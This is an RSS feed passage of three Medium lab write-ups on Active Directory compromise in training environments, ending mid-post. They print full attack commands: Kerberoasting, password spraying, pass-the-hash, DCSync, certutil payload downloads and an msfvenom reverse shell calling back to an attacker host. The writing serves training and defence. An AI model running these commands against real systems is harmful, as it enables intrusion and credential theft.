            <guid isPermaLink="false">https://medium.com/p/e2e24194d081</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 15:55:00 GMT</pubDate>
            <atom:updated>2026-04-24T15:55:00.711Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OmE-RKsI6EtXAW6L0F7FKg.png" /></figure><h3>From Anonymous SMB Access to SYSTEM-Level Control</h3><h3>1. Overview</h3><p>This assessment demonstrates a complete compromise of an Active Directory environment, beginning with unauthenticated access and progressing through credential harvesting, OSINT exploitation, Kerberoasting, and privilege escalation to achieve SYSTEM-level access.</p><p>The attack chain highlights how multiple low-severity misconfigurations can be chained together to achieve full domain compromise.</p><h3>2. Initial Reconnaissance</h3><h3>Nmap Scan</h3><pre>nmap -A &lt;IP&gt; -T5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Hs4TcoJNfpUAWAXyjWJHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aFfqz3vQPoEv6RJXh2-Fg.png" /></figure><h3>Key Observations:</h3><ul><li>Host identified as a Domain Controller: LAB-DC</li><li>Domain: LAB.ENTERPRISE.THM</li><li>Key services exposed:</li><li>Kerberos (88)</li><li>LDAP (389, 3268)</li><li>SMB (445)</li><li>RDP (3389)</li><li>HTTP (80 — Microsoft IIS)</li></ul><p>This confirms the target is part of an Active Directory infrastructure.</p><h3>3. Environment Configuration</h3><h3>Hosts File Update</h3><pre>nano /etc/hosts</pre><pre>&lt;IP&gt; enterprise.thm lab.enterprise.thm lab-dc.lab.enterprise.thm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*866laU6vtHjZE_Ol34ViSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*kZm1HLJXEblKPgr85ycm-w.png" /></figure><h3>4. SMB Enumeration</h3><h3>Anonymous Share Enumeration</h3><pre>smbclient -L //&lt;IP&gt;/ -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ZCEAejoT34nWXcajm-vdA.png" /></figure><h3>Discovered Shares:</h3><ul><li>ADMIN$</li><li>C$</li><li>NETLOGON</li><li>SYSVOL</li><li>Users</li></ul><p>Anonymous access to SMB shares is enabled, which is a critical misconfiguration.</p><h3>Accessing the Users Share</h3><pre>smbclient //&lt;IP&gt;/Users -N<br>ls<br>cd LAB-ADMIN<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*YvwQ-RFBG0yzS2ULijeC7A.png" /></figure><h3>Identified Users:</h3><ul><li>Administrator</li><li>LAB-ADMIN</li><li>bitbucket</li><li>atlbitbucket</li></ul><h3>5. Credential Discovery via PowerShell History</h3><h3>Navigating to PowerShell History</h3><p>Path:</p><pre>cd AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\<br>ls<br>get Consolehost_history.txt<br>cat Consolehost_history.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ewqIJaBytgH9fX9nZy0GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LKmkvJsaZNuLhgnK2Mz5eg.png" /></figure><h3>Extracted Credentials:</h3><pre>replication:101RepAdmin123!!</pre><h3>Credential Validation</h3><pre>crackmapexec smb &lt;IP&gt; -u &#39;replication&#39; -p &#39;101RepAdmin123!!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmFcE4EOL2yDU8Q1EOa-4A.png" /></figure><p>The credentials were not valid for SMB access, requiring further pivoting.</p><h3>6. Web Enumeration and OSINT Pivot</h3><h3>Web Application Discovery</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8f0Eblr2h_zeyzOTnIs1Q.png" /></figure><p>The page indicated a migration to GitHub.</p><h3>GitHub Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rI_jOvEntpfCNgLyXuRMWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oxW2eYlSoa4YkjnES6-wQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yltNftn2WpgDwwEDJvUKIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7V7ZAn13dSHt26ZaIX0P4g.png" /></figure><ul><li>Organization: Enterprise-THM</li><li>User: Nik-enterprise-dev</li></ul><h3>Repository Discovery</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wVXlUZKX1TwtvOCXkMNQag.png" /></figure><p>Repository identified:</p><pre>mgmtScript.ps1</pre><h3>7. Credential Exposure via Git History</h3><h3>Cloning Repository</h3><pre>git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1.git<br>cd mgmtScript.ps1<br>git log -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wsXG4IfNRn6KJ4nnUAiLqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*g4wM794BKzFe1nRCesFlEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FrkWMKcUZ0Gjj0_Ewjy7pw.png" /></figure><h3>Sensitive Data Identified:</h3><pre>$userName = &#39;nik&#39;<br>$userPassword = &#39;ToastyBoi!&#39;</pre><h3>Credential Validation</h3><pre>nxc smb &lt;IP&gt; -u nik -p &#39;ToastyBoi!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bo3Tm3pt3d3RToHZGZkTwA.png" /></figure><p>Valid credentials obtained for domain user nik.</p><h3>8. Kerberoasting Attack</h3><h3>SPN Enumeration</h3><pre>impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:ToastyBoi! -dc-ip &lt;IP&gt; -request -outputfile Output_hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EWj4-B-cwQEUnGnV9Sr4XA.png" /></figure><h3>Extracted Hash</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zkwhr_MyeCfETXtOxukCZw.png" /></figure><h3>Hash Cracking</h3><pre>hashcat -m 13100 Output_hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6yjrjzb3ce_BCeQXXSGXfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXZJVhYGuZBGrO-ndPxJmA.png" /></figure><h3>Cracked Credentials:</h3><pre>bitbucket : littleredbucket</pre><h3>9. Initial Access via RDP</h3><h3>Credential Validation</h3><pre>nxc rdp &lt;IP&gt; -u bitbucket -p &#39;littleredbucket&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9WBYmn03ux5Hpb9Z8IZ9YA.png" /></figure><h3>RDP Access</h3><pre>xfreerdp3 /u:bitbucket /p:littleredbucket /v:&lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8yrSBwH-8chRtiKsfprAfQ.png" /></figure><h3>User Flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zJEm17DFRn2pqtzb5Y3dDQ.png" /></figure><pre>THM{ed882d02b34246536ef7da79062bef36}</pre><h3>10. Privilege Escalation Enumeration</h3><h3>Transfer WinPEAS</h3><p>Attacker machine:</p><pre>python3 -m http.server 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xz8rXkdmigQwrZmlyCizxQ.png" /></figure><p>Target machine:</p><pre>certutil -urlcache -f http://&lt;IP&gt;/winPEASany.exe winpeas.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YSK7W5KgY_x3WPETKrBUTA.png" /></figure><h3>Execute WinPEAS</h3><pre>.\winpeas.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxmO6eT6R_tS-OAAEAnrgg.png" /></figure><h3>11. Privilege Escalation</h3><h3>Service Misconfiguration Discovery</h3><pre>icacls &quot;C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LZGgkNOQTT3Y87T3CPvWRQ.png" /></figure><h3>Finding:</h3><ul><li>Writable permissions assigned to low-privileged users</li></ul><p>This allows service binary replacement.</p><h3>Payload Generation</h3><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;IP&gt; LPORT=4444 -f exe -o ZeroTier_One.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vL2TptfvqViYcfvBL5LRUw.png" /></figure><h3>Transfer Payload</h3><pre>certutil -urlcache -f http://&lt;IP&gt;/ZeroTier_One.exe ZeroTier_One.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lwIs4RZUCBeVX6S25RlELQ.png" /></figure><h3>Replace Service Binary</h3><pre>copy-item .\ZeroTier_One.exe &quot;C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe&quot; -Force</pre><h3>Restart Service</h3><pre>net stop ZeroTierOneService<br>net start ZeroTierOneService</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U195L9jIoDvvXnwKzDPO5g.png" /></figure><h3>12. SYSTEM Shell</h3><h3>Listener Setup</h3><pre>nc -lvnp 4444</pre><h3>Reverse Shell Received</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*2drVNWG4qUaDtpN5jfz35w.png" /></figure><pre>whoami</pre><pre>nt authority\system</pre><h3>13. Root Flag</h3><h3>Access Administrator Desktop</h3><pre>cd C:\Users\Administrator\Desktop<br>dir<br>type root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*s1mi5k387bzHEDx8i8Aw9A.png" /></figure><pre>THM{1a1fa94875421296331f145971ca4881}</pre><h3>14. Attack Chain Summary</h3><ol><li>Anonymous SMB access enabled</li><li>User enumeration via shared directories</li><li>Credential discovery through PowerShell history</li><li>Web enumeration leading to GitHub OSINT</li><li>Credential exposure in Git commit history</li><li>Kerberoasting attack on service account</li><li>RDP access using cracked credentials</li><li>Privilege escalation via writable service binary</li><li>Reverse shell execution as SYSTEM</li><li>Full system compromise and flag retrieval</li></ol><h3>15. Key Security Findings</h3><ul><li>Anonymous SMB access allowed</li><li>Credentials stored in PowerShell history</li><li>Secrets exposed in public Git repositories</li><li>Weak Kerberos service account configuration</li><li>Writable service binaries</li><li>Lack of privilege separation</li></ul><h3>16. Recommendations</h3><ul><li>Disable anonymous SMB access</li><li>Enforce credential hygiene and secure storage</li><li>Remove sensitive data from repositories and history</li><li>Implement strong Kerberos policies and service account controls</li><li>Restrict file system permissions on service binaries</li><li>Deploy endpoint monitoring and logging solutions</li></ul><h3>17. Conclusion</h3><p>This assessment demonstrates how multiple minor weaknesses can be chained into a full compromise of an Active Directory environment.</p><p>The attack required no exploit development, relying entirely on:</p><ul><li>Misconfigurations</li><li>Poor credential management</li><li>Lack of access control enforcement</li></ul><p>This emphasizes the importance of defense-in-depth and continuous security auditing within enterprise environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2e24194d081" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Pentest Lab Report — SOUPEDECODE.LOCAL]]></title>
            <link>https://zeroday-security-services.medium.com/active-directory-pentest-lab-report-soupedecode-local-31e40cf68fb3?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/31e40cf68fb3</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 09:04:13 GMT</pubDate>
            <atom:updated>2026-04-24T09:04:13.155Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DifB3T0XBzl1c-uiNL8hXw.png" /></figure><p><strong>Author:</strong> Vijay Ishan Chowdhury<br> <strong>Organization:</strong> ZeroDay Security Services<br> <strong>Lab Type:</strong> Active Directory Exploitation (Red Team Simulation)</p><h3>1. Objective</h3><p>The objective of this lab was to simulate a real-world <strong>Active Directory compromise</strong> against the domain:</p><pre>SOUPEDECODE.LOCAL</pre><p>The engagement demonstrates how an attacker can move from <strong>unauthenticated access → domain user compromise → privilege escalation → domain administrator access</strong>.</p><h3>2. Lab Overview</h3><ul><li>Domain Controller: DC01.SOUPEDECODE.LOCAL</li><li>Domain: SOUPEDECODE.LOCAL</li><li>Target IP: 10.49.154.X</li><li>Attack Platform: Kali Linux</li></ul><h3>3. Attack Workflow</h3><h3>3.1 Reconnaissance &amp; Service Enumeration</h3><p>Initial enumeration was performed using Nmap to identify exposed services and confirm the presence of Active Directory.</p><p><strong>Command:</strong></p><pre>nmap -A &lt;IP&gt; -T5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4m7M1oZjfU3N_Vtb4T-fA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LWuKkkXxAhY3fNR-n0ba3A.png" /></figure><h3>Key Findings:</h3><ul><li>Kerberos (88)</li><li>LDAP (389, 3268)</li><li>SMB (445)</li><li>RDP (3389)</li><li>DNS (53)</li></ul><h3>Insight:</h3><p>Presence of <strong>Kerberos + LDAP + SMB</strong> confirms this system is a <strong>Domain Controller</strong>.</p><h3>3.2 Host Resolution Configuration</h3><p>To properly interact with Kerberos and domain services, DNS resolution was configured manually.</p><p><strong>Command:</strong></p><pre>nano /etc/hosts</pre><pre>&lt;IP&gt; SOUPEDECODE.LOCAL DC01.SOUPEDECODE.LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*8tBG9RpLHA_Hg4kMhGDICg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*qtu2Qogodwa1I6ZILQy9TQ.png" /></figure><h3>3.3 SMB Enumeration (Anonymous Access)</h3><p>SMB shares were enumerated using guest access.</p><p><strong>Command:</strong></p><pre>nxc smb &lt;IP&gt; -u &#39;guest&#39; -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oHVGQYXRUHBXTUN8LQtuTQ.png" /></figure><h3>Key Finding:</h3><ul><li>Anonymous/guest access allowed share enumeration</li></ul><h3>Attack Insight:</h3><p>This indicates <strong>weak access control configuration</strong></p><h3>3.4 RID Bruteforce – User Enumeration</h3><p>Usernames were enumerated via RID brute forcing.</p><p><strong>Command:</strong></p><pre>nxc smb &lt;IP&gt; -u guest -p &#39;&#39; --rid-brute 3000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2sW0VOiM_qxO8wbRsLUNdw.png" /></figure><h3>Attack Type:</h3><p><strong>RID Bruteforce Enumeration</strong></p><h3>Purpose:</h3><ul><li>Discover valid domain users</li><li>Prepare for credential attacks</li></ul><h3>3.5 Password Spraying</h3><p>Discovered users were tested for weak credentials.</p><p><strong>Command:</strong></p><pre>nxc smb &lt;IP&gt; -u user.txt -p user.txt --no-bruteforce</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KmpZf48ghDRZ69TPThhyjQ.png" /></figure><h3>Result:</h3><ul><li>Multiple login failures observed</li></ul><h3>3.6 Valid Credential Discovery</h3><p>A valid user credential was identified:</p><pre>ybob317 : ybob317</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUCgsnLeM3JcfsujAAlWaw.png" /></figure><h3>Attack Type:</h3><p><strong>Password Reuse / Weak Credential Exploitation</strong></p><h3>3.7 SMB Access &amp; File Discovery</h3><p>Authenticated SMB access was used to explore user directories.</p><p><strong>Command:</strong></p><pre>smbclient //DC01.SOUPEDECODE.LOCAL/Users -U &#39;SOUPEDECODE/ybob317%ybob317&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*uVqZzKulcB70C8dzaZpZSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GSJR10jb9GlRBCVfYs2ZEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*Vw9gZTUTXzR66aB88eD8nA.png" /></figure><h3>Result:</h3><p>User flag retrieved:</p><pre>28189316c25dd3c0ad56d44d000d62a8</pre><h3>3.8 Kerberoasting — Service Account Enumeration</h3><p>After gaining access as a valid domain user (ybob317), the next step was to identify <strong>service accounts with Service Principal Names (SPNs)</strong>.</p><p><strong>Command:</strong></p><pre>impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip &lt;IP&gt; -request -outputfile hashes.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lh6-h0fQX3P4E-H_p2EPBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSfv4dCoTRiautVLmhqpGw.png" /></figure><h3>Key Finding:</h3><ul><li>Multiple service accounts identified:</li><li>file_svc</li><li>backup_svc</li><li>web_svc</li><li>monitoring_svc</li></ul><h3>Attack Type:</h3><p><strong>Kerberoasting</strong></p><h3>Explanation:</h3><p>Kerberoasting allows attackers to request <strong>Kerberos service tickets (TGS)</strong> for service accounts and extract <strong>offline crackable hashes</strong>.</p><h3>3.9 Offline Password Cracking</h3><p>The extracted Kerberos hashes were cracked offline using a wordlist attack.</p><p><strong>Command:</strong></p><pre>hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uAuHr0CJCqBZmhfd-1QYEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqupMDwrknba2pqJtKgwxw.png" /></figure><h3>Result:</h3><pre>file_svc : Password123!!</pre><h3>Attack Type:</h3><p><strong>Offline Password Cracking</strong></p><h3>3.10 Authentication as Service Account</h3><p>Using the recovered credentials, authentication was tested against the domain.</p><p><strong>Command:</strong></p><pre>nxc smb &lt;IP&gt; -u &#39;file_svc&#39; -p &#39;Password123!!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M_hVYZ3Gi9OpGI3SeRLqvg.png" /></figure><h3>Result:</h3><ul><li>Successful authentication as file_svc</li></ul><h3>Insight:</h3><p>Service accounts often have:</p><ul><li>Weak passwords</li><li>Elevated privileges</li><li>Access to sensitive resources</li></ul><h3>3.11 SMB Enumeration with Service Account</h3><p>Using file_svc, additional shares were accessed.</p><p><strong>Command:</strong></p><pre>smbclient //&lt;IP&gt;/backup -U SOUPEDECODE/file_svc%&#39;Password123!!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qSPTvFsAKVjiBZvb6yvpew.png" /></figure><h3>Key Finding:</h3><ul><li>Backup file exposed sensitive credential data</li></ul><h3>Attack Type:</h3><p><strong>Sensitive Data Exposure</strong></p><h3>3.12 Credential Extraction from Backup</h3><p>The backup file contained NTLM hashes for multiple accounts.</p><p><strong>Command:</strong></p><pre>cat backup_extract.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RW50yLmdgygf26aat4ZL7A.png" /></figure><h3>Insight:</h3><ul><li>Backup files often contain <strong>credentials, hashes, or configuration secrets</strong></li><li>Poor access control allowed unauthorized access</li></ul><h3>3.13 Hash Extraction for Reuse</h3><p>Relevant NTLM hashes were extracted for further attacks.</p><p><strong>Command:</strong></p><pre>cat backup_extract.txt | awk -F &#39;:&#39; &#39;{print $4}&#39; &gt; ntlm_hashes.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Y7FoIq1HOnn_QY6R997crQ.png" /></figure><h3>3.14 Pass-the-Hash Attack</h3><p>Extracted hashes were tested against domain accounts.</p><p><strong>Command:</strong></p><pre>nxc smb &lt;IP&gt; -u user.txt -H ntlm_hashes.txt --continue-on-success<br>ncx smb &lt;IP&gt; -u &#39;FileServer$&#39; -H &lt;hash&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7ZIXKheUO2aASdkDQ864g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5ZUyyGPfaQC-eCvtIl16w.png" /></figure><h3>Result:</h3><pre>FileServer$ → Pwned</pre><h3>Attack Type:</h3><p><strong>Pass-the-Hash</strong></p><h3>Explanation:</h3><p>Pass-the-Hash allows authentication using NTLM hashes without knowing plaintext passwords.</p><h3>3.15 Privilege Escalation via Machine Account</h3><p>Using the compromised machine account (FileServer$), domain secrets were extracted.</p><p><strong>Command:</strong></p><pre>impacket-secretsdump SOUPEDECODE.LOCAL/FileServer$@&lt;IP&gt; -hashes :&lt;hash&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WmkWjpxMq-tUAjFe-qXhg.png" /></figure><h3>Key Findings:</h3><ul><li>Administrator NTLM hash obtained</li><li>Domain credential database accessed</li></ul><h3>Attack Type:</h3><p><strong>DCSync Attack</strong></p><h3>Explanation:</h3><p>DCSync simulates a Domain Controller replication request, allowing attackers to retrieve password hashes for all domain users.</p><h3>3.16 Domain Administrator Access</h3><p>Using the extracted Administrator hash:</p><p><strong>Command:</strong></p><pre>impacket-wmiexec SOUPEDECODE.LOCAL/Administrator@&lt;IP&gt; -hashes :&lt;Administrator_hash&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x06FZIWDK2S3kqr5ob8f0Q.png" /></figure><h3>Result:</h3><ul><li>Administrative shell obtained</li><li>Full domain control achieved</li></ul><h3>3.17 Post-Exploitation: System Validation</h3><p>After obtaining an administrative shell, the first step is to validate the level of access.</p><p><strong>Command:</strong></p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*Yuk-R_ay7OPZ9PIRZM5CUw.png" /></figure><pre>soupedecode\administrator</pre><h3>Purpose:</h3><ul><li>Confirms successful privilege escalation</li><li>Verifies domain-level control</li></ul><h3>3.18 System Enumeration (Domain Controller)</h3><p>Basic enumeration of the compromised system was performed.</p><p><strong>Commands:</strong></p><pre>dir </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0m5x30U3NNq_Po1o_QPHwA.png" /></figure><h3>Insight:</h3><ul><li>Confirms access to full filesystem</li><li>Identifies key directories (Users, Windows, Program Files)</li></ul><h3>3.19 User Directory Enumeration</h3><p>Navigation to user directories to identify sensitive data.</p><p><strong>Commands:</strong></p><pre>cd Users<br>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*mTVWameviDXAojrs2peqxQ.png" /></figure><h3>Purpose:</h3><ul><li>Identify all domain users</li><li>Locate high-value targets (Administrator, service accounts)</li></ul><h3>3.20 Administrator Profile Access</h3><p>Accessing the Administrator profile to locate sensitive files.</p><p><strong>Commands:</strong></p><pre>cd Administrator<br>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*U4Bo08w4wf4EpfDl-Qd0iQ.png" /></figure><h3>3.21 Data Discovery (Documents &amp; Desktop)</h3><p>Exploration of user data locations.</p><p><strong>Commands:</strong></p><pre>cd Documents<br>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*i8wRUnaK5kam80a5KyQlNA.png" /></figure><pre>cd ..\Desktop<br>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*x19yoOY9B6QocvbygggPHw.png" /></figure><h3>Purpose:</h3><ul><li>Locate sensitive files</li><li>Identify flags / credentials / backups</li></ul><h3>3.22 Final Objective: Flag Retrieval</h3><p>The final proof of full compromise was achieved by retrieving the root flag.</p><p><strong>Command:</strong></p><pre>type root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*4xYRxyvGumLV9yzA1tUyeA.png" /></figure><h3>Result:</h3><pre>27cb2be302c388d63d27c86bfdd5f56a</pre><h3>4. Post-Exploitation Summary</h3><p>At this stage, the attacker has:</p><ul><li>Domain Administrator access</li><li>Full control over Domain Controller</li><li>Access to all user data</li><li>Ability to persist and pivot</li></ul><h3>5. Conclusion</h3><p>The SOUPEDECODE lab demonstrates a full Active Directory compromise chain where:</p><ul><li>Weak credentials and misconfigurations</li><li>Combined with exposed backup data</li><li>Enabled credential theft and privilege escalation</li><li>Resulting in complete domain compromise</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31e40cf68fb3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ZeroDay Security Services]]></title>
            <link>https://zeroday-security-services.medium.com/zeroday-security-services-8d73c5b5372b?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d73c5b5372b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[golden-ticket-attack]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Thu, 23 Apr 2026 12:46:15 GMT</pubDate>
            <atom:updated>2026-04-23T12:46:15.136Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wLbqLBlxq-wMfz79l79Pbg.png" /></figure><h3>Active Directory Compromise Lab Report</h3><p><strong>Author:</strong> Vijay Ishan Chowdhury<br> <strong>Organization:</strong> ZeroDay Security Services<br> <strong>Engagement Type:</strong> Internal Red Team Training Lab</p><h3>1. Objective</h3><p>The objective of this lab was to simulate a real-world Active Directory attack chain, demonstrating how an attacker can escalate from initial access on a workstation to full domain compromise through credential abuse and Kerberos manipulation.</p><h3>2. Lab Environment</h3><ul><li>Attacker Machine: Kali Linux</li><li>Target 1: Windows 10 Client (DESKTOP-1)</li><li>Target 2: Windows Server 2022 Domain Controller (ZERODAY-DC)</li><li>Domain: ZeroDay.local</li></ul><h3>3. Attack Execution</h3><h3>3.1 Payload Preparation and Hosting</h3><p>On the attacker machine, the required binaries were prepared and compressed for delivery. A simple HTTP server was then started to host the payload.</p><p><strong>Command Context:</strong></p><ul><li>Packaging payload</li><li>Starting HTTP server</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*cajv3wVd5E3yk-Rk-6Ghzw.png" /></figure><h3>3.2 Payload Delivery to Target</h3><p>The target machine downloaded the payload using a native Windows utility, avoiding the need for external tools.</p><p><strong>Command Context:</strong></p><ul><li>File download via certutil</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k-XFC-gJ5kdyKYuRj3uZJQ.png" /></figure><h3>3.3 Credential Dumping from Memory</h3><p>After extracting and executing the tool with elevated privileges, memory was accessed to retrieve credentials.</p><p><strong>Command Context:</strong></p><ul><li>Launch tool</li><li>Enable debug privileges</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*0TKXpAqqn8kvV84lhIFzVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*R4JkYtyMvMq8uQt4ICTXpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D8EHM-DcsRK4NxJX4euBIg.png" /></figure><h3>3.4 Initial Lateral Movement Attempt (Pass-the-Hash)</h3><p>Using extracted NTLM hashes, an attempt was made to execute commands remotely.</p><p><strong>Command Context:</strong></p><ul><li>Pass-the-hash using SMB execution</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_PU7etbOL-YiufdWD9KnQ.png" /></figure><h3>3.5 SMB Share Enumeration</h3><p>To identify writable locations, SMB shares were enumerated manually.</p><p><strong>Command Context:</strong></p><ul><li>SMB login using hash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AXYrYt2AlVtgTGpDLDQ7g.png" /></figure><h3>3.6 Network Enumeration and Credential Validation</h3><p>SMB services across the network were scanned and credentials validated.</p><p><strong>Command Context:</strong></p><ul><li>Network scan with authentication</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IL63egErci6Qg77PIn4tvg.png" /></figure><h3>3.7 Successful Authentication to Domain Controller</h3><p>A valid user hash was used to authenticate successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qmi5V-eSB0ZZPNv7slyZQw.png" /></figure><h3>3.8 Domain Credential Dumping (DCSync)</h3><p>With sufficient privileges, domain credentials were extracted using a replication technique.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x3KWOTvlrbVyO6imyn9idQ.png" /></figure><h3>3.9 Domain User Enumeration</h3><p>All domain users were enumerated for visibility and targeting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gb1G3jmvHCwlSVLb7Q9HqQ.png" /></figure><h3>3.10 Kerberos Configuration</h3><p>Kerberos environment was prepared for ticket-based authentication.</p><figure><img alt="" 